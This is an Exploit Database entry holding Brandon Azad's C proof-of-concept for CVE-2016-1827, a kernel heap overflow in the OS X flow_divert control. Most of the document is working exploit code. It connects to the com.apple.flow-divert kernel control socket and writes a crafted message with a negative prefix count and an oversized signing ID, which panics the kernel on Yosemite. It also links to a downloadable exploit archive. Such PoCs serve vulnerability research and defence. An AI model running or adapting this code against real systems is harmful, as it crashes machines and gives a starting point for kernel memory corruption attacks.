Apple OS X Yosemite - 'flow_divert-heap-overflow' Kernel Panic

EDB-ID:

44238


Type:

dos


Platform:

OSX

Date:

2017-01-10


/*
 * flow_divert-heap-overflow.c
 * Brandon Azad
 *
 * CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
 * and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
 * 10.11.5 and iOS 9.3.2.
 *
 * This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
 * were changed from 64 bits to 32 bits, so the message structure will need to be updated
 * accordingly. This exploit has not been tested on iOS.
 * 
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44238.zip
 */

#include <net/if.h>
#include <string.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
	int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
	if (ctlfd == -1) {
		return 1;
	}
	struct ctl_info info = { .ctl_id = 0 };
	strncpy(info.ctl_name, "com.apple.flow-divert", sizeof(info.ctl_name));
	int err = ioctl(ctlfd, CTLIOCGINFO, &info);
	if (err) {
		return 2;
	}
	struct sockaddr_ctl addr = {
		.sc_len     = sizeof(addr),
		.sc_family  = AF_SYSTEM,
		.ss_sysaddr = AF_SYS_CONTROL,
	};
	addr.sc_id = info.ctl_id;
	addr.sc_unit = 0;
	err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
	if (err) {
		return 3;
	}
	struct __attribute__((packed)) {
		uint8_t  type;
		uint8_t  pad1[3];
		uint32_t conn_id;
		uint8_t  prefix_count_tag;
		uint64_t prefix_count_length;
		int      prefix_count;
		uint8_t  signing_id_tag;
		uint64_t signing_id_length;
		uint8_t  signing_id[512 + 4];
	} message = {
		.type                = 9,
		.conn_id             = htonl(0),
		.prefix_count_tag    = 28,
		.prefix_count_length = htonl(sizeof(int)),
		.prefix_count        = -2,
		.signing_id_tag      = 25,
		.signing_id_length   = htonl(sizeof(message.signing_id)),
		.signing_id          = { 0xaa },
	};
	write(ctlfd, &message, sizeof(message));
	close(ctlfd);
	return 4;
}